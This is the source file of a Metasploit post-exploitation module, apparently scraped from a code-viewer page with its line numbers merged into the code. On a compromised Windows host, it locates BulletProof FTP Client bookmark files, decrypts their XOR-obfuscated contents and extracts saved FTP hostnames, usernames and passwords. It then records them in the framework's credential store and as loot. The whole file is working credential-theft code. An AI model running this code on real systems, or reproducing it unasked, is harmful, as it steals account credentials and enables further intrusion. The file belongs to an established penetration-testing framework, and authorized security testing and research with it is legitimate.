Path: blob/master/modules/post/windows/gather/credentials/bulletproof_ftp.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::File8include Msf::Post::Windows::UserProfiles9include Msf::Post::Windows::Registry1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',16'Description' => %q{17This module extracts information from BulletProof FTP Bookmarks files and store18retrieved credentials in the database.19},20'License' => MSF_LICENSE,21'Author' => [ 'juan vazquez'],22'Platform' => [ 'win' ],23'SessionTypes' => [ 'meterpreter' ],24'Notes' => {25'Stability' => [CRASH_SAFE],26'SideEffects' => [],27'Reliability' => []28},29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32stdapi_sys_config_getenv33]34}35}36)37)38end3940class BookmarksParser4142# Array of entries found after parsing a Bookmarks File43attr_accessor :entries4445def initialize(contents)46@xor_key = nil47@contents_bookmark = contents48@entries = []49end5051def parse_bookmarks52if !parse_header53return54end5556until @contents_bookmark.empty?57parse_entry58@contents_bookmark.slice!(0, 25) # 25 null bytes between entries59end60end6162private6364def low_dword(value)65return Rex::Text.pack_int64le(value).unpack('VV')[0]66end6768def high_dword(value)69return Rex::Text.pack_int64le(value).unpack('VV')[1]70end7172def low_byte(value)73return [value].pack('V').unpack('C*')[0]74end7576def generate_xor_key77# Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:78# .text:007B13C1 mov eax, 100h79# ... later80# .text:0040381F imul edx, dword_7EF008[ebx], 8088405h81# .text:00403829 inc edx82# .text:0040382A mov dword_7EF008[ebx], edx83# .text:00403830 mul edx84temp = @xor_key * 0x808840585temp = low_dword(temp)86temp += 187@xor_key = temp88result = temp * 0x10089result = high_dword(result)90result = low_byte(result)91return result92end9394def decrypt(encrypted)95length = encrypted.unpack('C')[0]96return '' if length.nil?9798@xor_key = length99encrypted = encrypted[1..length]100return '' if encrypted.length != length101102decrypted = ''103encrypted.unpack('C*').each do |byte|104key = generate_xor_key105decrypted << [byte ^ key].pack('C')106end107return decrypted108end109110def parse_object111object_length = @contents_bookmark[0, 1].unpack('C')[0]112object = @contents_bookmark[0, object_length + 1]113@contents_bookmark.slice!(0, object_length + 1)114content = decrypt(object)115return content116end117118def parse_entry119site_name = parse_object120site_address = parse_object121login = parse_object122remote_dir = parse_object123local_dir = parse_object124port = parse_object125password = parse_object126127@entries << {128site_name: site_name,129site_address: site_address,130login: login,131remote_dir: remote_dir,132local_dir: local_dir,133port: port,134password: password135}136end137138def parse_header139signature = parse_object140if !signature.eql?('BPSitelist')141return false # Error!142end143144unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"145return false unless unknown == "\x01\x00\x00\x00"146147return true148end149end150151def check_installation152bullet_reg = 'HKCU\\SOFTWARE\\BulletProof Software'153bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)154155return false if bullet_reg_ver.nil?156157bullet_reg_ver.each do |key|158if key =~ /BulletProof FTP Client/159return true160end161end162return false163end164165def get_bookmarks(path)166bookmarks = []167168if !directory?(path)169return bookmarks170end171172session.fs.dir.foreach(path) do |entry|173if directory?("#{path}\\#{entry}") && (entry != '.') && (entry != '..')174bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))175elsif entry =~ (/bpftp.dat/) && file?("#{path}\\#{entry}")176vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")177bookmarks << "#{path}\\#{entry}"178end179end180return bookmarks181end182183def check_bulletproof(user_dir)184session.fs.dir.foreach(user_dir) do |directory|185if directory =~ /BulletProof Software/186vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")187return "#{user_dir}\\#{directory}" # "\\BulletProof FTP Client\\2010\\sites\\Bookmarks"188end189end190return nil191end192193def report_findings(entries)194entries.each do |entry|195@credentials << [196entry[:site_name],197entry[:site_address],198entry[:port],199entry[:login],200entry[:password],201entry[:remote_dir],202entry[:local_dir]203]204205service_data = {206address: Rex::Socket.getaddress(entry[:site_address]),207port: entry[:port],208protocol: 'tcp',209service_name: 'ftp',210workspace_id: myworkspace_id211}212213credential_data = {214origin_type: :session,215session_id: session_db_id,216post_reference_name: refname,217username: entry[:login],218private_data: entry[:password],219private_type: :password220}221222credential_core = create_credential(credential_data.merge(service_data))223224login_data = {225core: credential_core,226access_level: 'User',227status: Metasploit::Model::Login::Status::UNTRIED228}229230create_credential_login(login_data.merge(service_data))231end232end233234def run235print_status('Checking if BulletProof FTP Client is installed...')236if !check_installation237print_error("BulletProof FTP Client isn't installed")238return239end240241print_status('Searching BulletProof FTP Client Data directories...')242# BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files243profiles = grab_user_profiles244bullet_paths = []245profiles.each do |user|246next if user['LocalAppData'].nil?247248bulletproof_dir = check_bulletproof(user['LocalAppData'])249bullet_paths << bulletproof_dir if bulletproof_dir250end251252print_status('Searching BulletProof FTP Client installation directory...')253# BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files254progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')255progfilesx86 = progfiles_env['ProgramFiles(X86)']256if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/257program_files = progfilesx86 # x64258else259program_files = progfiles_env['ProgramFiles'] # x86260end261262session.fs.dir.foreach(program_files) do |dir|263if dir =~ /BulletProof FTP Client/264vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")265bullet_paths << "#{program_files}\\#{dir}"266end267end268269if bullet_paths.empty?270print_error('BulletProof FTP Client directories not found.')271return272end273274print_status('Searching for BulletProof FTP Client Bookmarks files...')275bookmarks = []276bullet_paths.each do |path|277bookmarks.concat(get_bookmarks(path))278end279if bookmarks.empty?280print_error('BulletProof FTP Client Bookmarks files not found.')281return282end283284print_status('Searching for connections data on BulletProof FTP Client Bookmarks files...')285entries = []286bookmarks.each do |bookmark|287p = BookmarksParser.new(read_file(bookmark))288p.parse_bookmarks289if !p.entries.empty?290entries.concat(p.entries)291else292vprint_error("Entries not found on #{bookmark}")293end294end295296if entries.empty?297print_error('BulletProof FTP Client Bookmarks not found.')298return299end300301# Report / Show findings302@credentials = Rex::Text::Table.new(303'Header' => 'BulletProof FTP Client Bookmarks',304'Indent' => 1,305'Columns' =>306[307'Site Name',308'Site Address',309'Port',310'Login',311'Password',312'Remote Dir',313'Local Dir'314]315)316317report_findings(entries)318results = @credentials.to_s319320print_line("\n" + results + "\n")321322if !@credentials.rows.empty?323p = store_loot(324'bulletproof.creds',325'text/plain',326session,327@credentials.to_csv,328'bulletproof.creds.csv',329'BulletProof Credentials'330)331print_status("Data stored in: #{p}")332end333end334end335336337